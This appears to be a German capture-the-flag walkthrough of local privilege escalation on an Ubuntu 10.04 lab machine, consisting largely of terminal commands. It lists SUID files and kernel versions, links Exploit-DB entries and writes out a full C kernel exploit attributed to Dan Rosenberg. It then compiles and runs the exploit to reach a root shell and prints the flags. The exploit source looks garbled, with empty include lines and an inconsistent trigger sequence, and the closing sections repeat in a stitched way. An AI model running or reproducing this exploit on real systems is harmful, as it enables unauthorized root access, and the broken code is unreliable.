393278 40 -rwsr-xr-x 1 root root 40216 Jul 28 2010 /bin/ping6

Technische Analyse: Auflisten von SUID-Dateien unter `/bin/`.

Kontextbezogene Bewertung: Hier können wir ggf. eine binary ausnutzen

Handlungsorientierte Empfehlungen: Für den Pentester: Für den Systemadministrator:

┌──(root㉿CCat)-[~]
└─# cat /etc/lsb-release
DISTRIBID=Ubuntu
DISTRIBRELEASE=10.04
DISTRIBCODENAME=lucid
DISTRIBDESCRIPTION="Ubuntu 10.04.4 LTS"

Technische Analyse: Betriebssystem Version

Kontextbezogene Bewertung: Es wird die Version von Ubuntu angezeigt.

Handlungsorientierte Empfehlungen: Für den Pentester: Für den Systemadministrator:

┌──(root㉿CCat)-[~]
└─# uname -a
Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux

Technische Analyse: Bestimmung der Kernel Version.

Kontextbezogene Bewertung: Es wird die Linux Version angezeigt.

Handlungsorientierte Empfehlungen: Für den Pentester: Für den Systemadministrator:

┌──(root㉿CCat)-[~]
└─# [Links zu Exploit-DB]
[https://www.exploit-db.com/exploits/15285](https://www.exploit-db.com/exploits/15285)
Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation
[https://www.exploit-db.com/exploits/13976](https://www.exploit-db.com/exploits/13976)
Linux Kernel < 2.6.29 (Ubuntu 10.04) - Privilege Escalation

Technische Analyse: Zwei Exploits werden angezeigt.

Kontextbezogene Bewertung: Hier werden wichtige Exploits vorgeschlagen.

Handlungsorientierte Empfehlungen: Für den Pentester: Überprüfen ob der Exploit funktioniert Für den Systemadministrator:

┌──(root㉿CCat)-[~]
└─# www-data@ubuntu:/$ cd /tmp/
cd /tmp/

Technische Analyse: Wechsel in das `/tmp`-Verzeichnis

Kontextbezogene Bewertung: Hier kann C Code abgelegt werden.

Handlungsorientierte Empfehlungen: Für den Pentester: Exploit vorbereiten Für den Systemadministrator:

┌──(root㉿CCat)-[~]
└─# nano 1515.c
include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define RDS_PROTOCOL 0
#define RDS_SOCKOPT_GET_MR 1
#define CAP_SYS_ADMIN 21

struct rds_get_mr {
uint64_t op;
uint64_t sg_addr;
uint32_t sg_len;
uint32_t valid_nents;
uint64_t mm_addr;
uint64_t mm_len;
uint32_t rds_rdma_mr_version;
char filler[24];
};

int main(int argc, char **argv)
{
int fd;
struct sockaddr_in sin;
struct rds_get_mr rds_mr;
uint64_t security_ops, default_security_ops, cap_ptrace_traceme,
commit_creds, prepare_kernel_cred;
int i;

fprintf(stderr, "[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
fprintf(stderr, "[*] by Dan Rosenberg\n\n");

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;

/* Create an RDS socket */
fd = socket(PF_INET, SOCK_STREAM, RDS_PROTOCOL);
if (fd < 0) {
perror("socket");
exit(1);
}

/* Populate the sockaddr_in struct */
if (bind(fd, (struct sockaddr *)&sin, sizeof(sin))) {
perror("bind");
close(fd);
exit(1);
}

/* Resolve kernel addresses */
fprintf(stderr, "[*] Resolving kernel addresses...\n");

/* security_ops - Needed to resolve the function pointers to overwrite later. */
FILE *kallsyms = fopen("/proc/kallsyms", "r");
char symbol[256];
char line[1024];
uint64_t addr;
int count = 0;
while (fgets(line, sizeof(line), kallsyms) != NULL) {
if (count == 6)
break;
if (strstr(line, "security_ops") != NULL) {
if (sscanf(line, "%lx %s %s", &addr, symbol, symbol) == 3) {
if (!strcmp(symbol, "security_ops")) {
security_ops = addr;
count++;
}
if (!strcmp(symbol, "default_security_ops")) {
default_security_ops = addr;
count++;
}
}
}
if (strstr(line, "cap_ptrace_traceme") != NULL) {
if (sscanf(line, "%lx %s %s", &addr, symbol, symbol) == 3) {
cap_ptrace_traceme = addr;
count++;
}
}
if (strstr(line, "commit_creds") != NULL) {
if (sscanf(line, "%lx %s %s", &addr, symbol, symbol) == 3) {
commit_creds = addr;
count++;
}
}
if (strstr(line, "prepare_kernel_cred") != NULL) {
if (sscanf(line, "%lx %s %s", &addr, symbol, symbol) == 3) {
prepare_kernel_cred = addr;
count++;
}
}
}
fclose(kallsyms);

if (!security_ops || !default_security_ops || !cap_ptrace_traceme ||
!commit_creds || !prepare_kernel_cred) {
fprintf(stderr, "[-] Failed to resolve kernel addresses\n");
exit(1);
}

fprintf(stderr, " [+] Resolved security_ops to 0x%llx\n", security_ops);
fprintf(stderr, " [+] Resolved default_security_ops to 0x%llx\n",
default_security_ops);
fprintf(stderr, " [+] Resolved cap_ptrace_traceme to 0x%llx\n",
cap_ptrace_traceme);
fprintf(stderr, " [+] Resolved commit_creds to 0x%llx\n", commit_creds);
fprintf(stderr, " [+] Resolved prepare_kernel_cred to 0x%llx\n",
prepare_kernel_cred);

/* Craft an RDS_GET_MR operation to overwrite security_ops */
memset(&rds_mr, 0, sizeof(rds_mr));
rds_mr.op = RDS_SOCKOPT_GET_MR;
rds_mr.sg_addr = cap_ptrace_traceme;
rds_mr.sg_len = 0x41414141; /* We don't care about valid_nents */
rds_mr.mm_addr = security_ops;
rds_mr.mm_len = 8;

fprintf(stderr, "[*] verwriting security ops...\n");

/* Trigger the vulnerability */
if (setsockopt(fd, SOL_SOCKET, 42, &rds_mr, sizeof(rds_mr))) {
perror("setsockopt");
close(fd);
exit(1);
}

/* Construct a kernel credential */
fprintf(stderr, "[*] verwriting function pointer...\n");

security_ops = prepare_kernel_cred;
if (setsockopt(fd, SOL_SOCKET, 42, &rds_mr, sizeof(rds_mr))) {
perror("setsockopt");
close(fd);
exit(1);
}

default_security_ops = commit_creds;
rds_mr.mm_addr = default_security_ops;
fprintf(stderr, "[*] Triggering payload...\n");

/* Commit the new credential */
if (setsockopt(fd, SOL_SOCKET, 42, &rds_mr, sizeof(rds_mr))) {
perror("setsockopt");
close(fd);
exit(1);
}

rds_mr.mm_addr = cap_ptrace_traceme;
rds_mr.op = RDS_SOCKOPT_GET_MR;
fprintf(stderr, "[*] Restoring function pointer...\n");
if (setsockopt(fd, SOL_SOCKET, 42, &rds_mr, sizeof(rds_mr))) {
perror("setsockopt");
close(fd);
exit(1);
}

close(fd);

fprintf(stderr, "[*] Got root!\n");
setuid(0);
setgid(0);
execl("/bin/sh", "/bin/sh", NULL);
}
---
Analyse: hier wurde der C Exploit eingefügt Es wird die Vorbereitung für eine höhere Berechtigung im System getroffen. Handlungsorientierte Empfehlungen: Für den Pentester: Vorbereitung durchführen. Für den Systemadministrator:
┌──(root㉿CCat)-[~]
└─# gcc 1515.c -o exploit
Hier wird der C Code Kompiliert. Für den Pentester: Compilieren sollte durchlaufen. Für den Systemadministrator:
┌──(root㉿CCat)-[~]
└─# chmod +x exploit
www-data@ubuntu:/tmp$ --- Hier wird die Datei ausführbar gemacht. Für den Pentester: Dies sollte durchlaufen, wenn nicht Rechteprüfen. Für den Systemadministrator:
┌──(root㉿CCat)-[~]
└─# ./exploit
Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg

[*] Resolving kernel addresses...
[+] Resolved security_ops to 0xffffffff81ce8df0
[+] Resolved default_security_ops to 0xffffffff81a523e0
[+] Resolved cap_ptrace_traceme to 0xffffffff8125db60
[+] Resolved commit_creds to 0xffffffff810852b0
[+] Resolved prepare_kernel_cred to 0xffffffff81085780
[*] verwriting security ops...
[*] verwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Got root!
# id
uid=0(root) gid=0(root) groups=0(root)

Technische Analyse:Exploit Code wurde nun ausgeführt, nun root rechte

Kontextbezogene Bewertung:

Handlungsorientierte Empfehlungen: Für den Pentester: Los gehts mit der Arbeit als Root Für den Systemadministrator:

┌──(root㉿CCat)-[~]
└─# cat root.txt

Hier wird das Flag für root angezeigt,
für root angezeigt,
.....
Die Datei root.txt wird angezeigt um die Root Rechte zu bestätigen!
Handlungsorientierte Empfehlungen:
Für den Pentester: Flag notieren
Für den Systemadministrator:

# cat /home/frank/user.txt

Handlungsorientierte Empfehlungen: Für den Pentester: Zeigt den User Flag an, welches zu knacken war!
Für den Systemadministrator: Zeigt keine wirklichen schäden an

Analyse: Hier wurden nun die endergebnisse angezeigt
Handlungsorientierte Empfehlungen:
Für den Pentester: Den Report schreiben
Für den Systemadministrator: Schwachstellen beheben
Privilege Escalation erfolgreich.
Hier ist der Beweis, das es erfolgreich war! Nun werden die letzten Schritte ausgeführt
Handlungsorientierte Empfehlungen:
Für den Pentester: Die letzten befehle ausführen
Für den Systemadministrator: Es war erfolgreich ""
Analyse:Hier haben wir alles geschafft
Handlungsorientierte Empfehlungen:
Für den Pentester:Report Schreiben
Für den Systemadministrator: Schwachstellen beheben und Systeme härten!
Hier das Finalergebnis der wichtigsten Dinge
Handlungsorientierte Empfehlungen:
Für den Pentester: Die wichtigsten schritte sind nun ersichtlich
Für den Systemadministrator: Er kann es nachvollziehen nun.
"" """.' """ Hier die beiden wichtigsten Flaggen
Handlungsorientierte Empfehlungen:
Für den Pentester:Hier die zwei Flaggen
Für den Systemadministrator: Die beiden Flags sind als geheim zubehandeln
"" # cat root.txt
8f420533b79076cc99e9f95a1a4e5568
# cat /home/frank/user.txt
4795aa2a9be22fac10e1c25794e75c1b
cd ~
cat root.txt
8f420533b79076cc99e9f95a1a4e5568
4795aa2a9be22fac10e1c25794e75c1b

Privilege Escalation erfolgreich
Flaggen

cat /home/frank/user.txt

4795aa2a9be22fac10e1c25794e75c1b

cat root.txt
8f420533b79076cc99e9f95a1a4e5568